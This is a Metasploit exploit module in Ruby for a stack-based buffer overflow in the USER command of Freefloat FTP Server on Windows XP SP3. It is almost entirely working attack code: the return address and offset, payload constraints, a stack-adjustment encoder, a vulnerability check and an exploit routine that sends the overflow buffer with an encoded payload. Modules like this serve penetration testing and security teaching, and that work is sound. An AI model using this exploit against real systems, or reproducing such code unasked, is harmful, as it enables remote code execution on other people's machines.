Free Float FTP Server USER Command Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',  
'Description' => %q{  
Freefloat FTP Server is prone to an overflow condition. It  
fails to properly sanitize user-supplied input resulting in a  
stack-based buffer overflow. With a specially crafted 'USER'  
command, a remote attacker can potentially have an unspecified  
impact.  
},  
'Platform' => 'win',  
'Author' =>  
[  
'D35m0nd142', # Original exploit  
'Doug Prostko <dougtko[at]gmail.com>' # MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '69621'],  
[ 'EDB', '23243']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 444,  
'DisableNops' => true,  
'BadChars' => "\x00\x0a\x0d",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Targets' =>  
[  
[ 'FreeFloat / Windows XP SP3',  
{  
'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll  
'Offset' => 230  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 12 2012'))  
end  
  
def check  
connect  
disconnect  
if (banner =~ /FreeFloat/)  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
connect  
buf = rand_text(target['Offset'])  
buf << [ target['Ret'] ].pack('V')  
buf << rand_text(8)  
buf << payload.encoded  
send_user(buf)  
disconnect  
end  
end  
`